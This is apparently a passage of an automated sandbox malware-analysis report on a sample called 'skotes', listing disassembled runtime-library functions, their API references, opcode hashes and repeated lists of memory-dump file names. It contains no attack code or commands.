Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: fb16e1aca393331e00191c5cef1e9e3954433d1f79296e536ad73c54e2e73fb2
Instruction ID: 79483114598d12fffd456ec14ab1fdb58ecba2e4e460f7f82b2dc51c7034e5c7
Opcode Fuzzy Hash: fb16e1aca393331e00191c5cef1e9e3954433d1f79296e536ad73c54e2e73fb2
Instruction Fuzzy Hash: 44016D229853197DB311F7BE6E96BBB21DCAF8235C724083BB801E2182FD64DC0096A0

Function 00A02097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00A020B7

Part of subcall function 009FCAF3: Mailbox.LIBCMT ref: 009FCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00A020C8
StructuredWorkStealingQueue.LIBCMT ref: 00A020FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00A0210F

Strings

e, xrefs: 00A020D9

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: dc39460fdb22801cfc374361299af733889332d7c6d990fcfc04427aac64f089
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 4B11A33110030DABDB15DF69E9897AA73A5EF41324B24C25AFD069F2C2DBB1ED05CB90

Function 009ED029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 009ED0A5

Strings

kernel32.dll, xrefs: 009ED04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 009ED03B
SleepConditionVariableCS, xrefs: 009ED05D
WakeAllConditionVariable, xrefs: 009ED069

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 836da45cf9610aee7011671c8030ed032ab1c2a74714de73cee3381e0c1263c6
Instruction ID: d064491eafd4cb28f66b2efe52f42ce4908d5936a8c70bd349576f347d91b0e8
Opcode Fuzzy Hash: 836da45cf9610aee7011671c8030ed032ab1c2a74714de73cee3381e0c1263c6
Instruction Fuzzy Hash: AE018661EC776179FA32BBBE6E01E5B11CCDF92B99F091D24BC00E3190DA60DD028561

Function 00A14C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00A14C98
__alloca_probe_16.LIBCMT ref: 00A14D5E
__freea.LIBCMT ref: 00A14DCA

Part of subcall function 00A0B04B: RtlAllocateHeap.NTDLL(00000000,56D4C919,?,?,009ED3FC,56D4C919,?,009E7A8B,?,?,?,?,?,?,009D7465,?), ref: 00A0B07E

__freea.LIBCMT ref: 00A14DD3
__freea.LIBCMT ref: 00A14DF6

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: a4c1f804fd649704babe2452aff82f2857179a610078d7c7de63ebed608d395f
Instruction ID: d28acfc87765a21d0a95d60a13a726652ebdc9a1d0cbb7266b32e05a7c17b46c
Opcode Fuzzy Hash: a4c1f804fd649704babe2452aff82f2857179a610078d7c7de63ebed608d395f
Instruction Fuzzy Hash: AD51B47260021AAFDF259F68ED41FFB37A9DF88750F154229FD04A7181EB30DC9096A0

Function 009FE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 009FE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009FE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009FE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 009FE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 009FE9DC

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
